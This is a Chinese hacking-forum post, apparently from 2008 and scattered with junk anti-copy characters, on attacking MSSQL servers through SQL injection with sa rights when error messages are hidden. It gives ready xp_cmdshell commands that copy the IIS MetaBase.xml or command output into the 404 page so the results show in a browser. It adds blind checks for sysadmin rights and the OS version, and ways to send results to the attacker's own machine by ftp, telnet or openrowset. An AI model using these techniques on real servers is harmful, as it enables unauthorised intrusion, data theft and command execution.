遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
# ?1 l7 e5 e. t w
7 }. a. r6 s/ D% p! V 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
# X0 T. r# i7 z5 W0 t2 m
# c2 h7 C; {' l2 T/ P1 C; D 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。' [! }: | b/ I) I- U1 F+ `
8 Q& Y6 T+ P) O5 s/ L! `0 L
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
) g# X: ]+ V, M1 ^
; B- \4 b$ @2 @4 V3 }9 P) W! ] 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--. ~6 f4 o) j3 z( [2 P& ?9 f
% ]: n+ O. s6 b& Z$ [- Y3 N
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
) K# X1 I. F( q
& ?9 M" t( H6 F# p 执行命令得到回显, _$ @( P) V7 c6 v- I
3 G D% S; h: i7 Y4 }; `/ ~ 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--$ b; j& a7 @; C- q5 t
2 X/ V5 L; |& a
得到文件也shi相同,把文件copy到404b.htm就行了- O% _/ W+ i( ~1 J: z- f# D
8 L# O$ c; R5 W! R8 ?8 y by 28ice, 2008/6/26
# O( A( \2 z7 S& C* E0 _- x. s
! t- H/ m6 W3 q+ C( S& M4 r 摘自 28度的冰 `( Q& x. `5 N" P* v1 S; o: J }
; U% k" s+ T% x8 I: [& C! c 盲注判断权限和操作系统版本 c+ y$ }: J2 }; d f- r5 O! C: v& f
- T9 T2 p T4 ?& |$ Y) q
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?4 h+ O# q4 R" [+ O( a: f
6 [6 U, b$ h' k3 J( A 最简单的,可能以用这样的方法:4 t! f! R' x3 ]& f! }" R( E' n
6 G, @7 J2 a9 J' `2 Q4 m) w8 S 1=(select IS_SRVROLEMEMBER(’sysadmin’))
4 C3 D3 e- r& [% _
; a! t( R$ u W" ? 当然,有些情况下,这个方法并不奏效。
/ e" v- f% ?! a' S$ k |- Z" r$ q: g2 p* a% B3 ]; q! Z6 h$ t% O0 h
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
! S' I5 Y4 p" [; k# S# m p- u( u3 T! a1 i* d
有个3办法可能以解决这个问题* v5 l, z9 Q: A+ i
* q, g1 h, i; b* B a.把执行结果写到404b.htm,具体请看我的上一篇文章
2 O! \" [0 t$ }5 m: p/ Z: [2 a
7 o/ ?) U% b3 W) [- j7 @( L b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟1 |# J5 h% x. B' A! {2 r# ]
9 v& Q8 a; o$ j7 Y) \ c.如果1433端口可能以连接,那干脆新建个sql登录
0 I2 u/ S0 _7 c& ^' K4 `
/ s1 O0 X. C, ?. W$ F- S' {# P' h4 g d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
8 X, c! G4 [7 t6 e5 |1 i, }) K) g. S* G! }
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
5 O) Q2 j9 } r* {+ p+ |& T9 e5 m9 e- V6 _, @
很简单
: @4 R, L, K0 c9 X* C6 V
0 h9 o- m) U6 l 执行systeminfo
/ {* M7 q$ _# J& ?
7 x9 ?0 U: o+ C8 f* I! o$ o 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |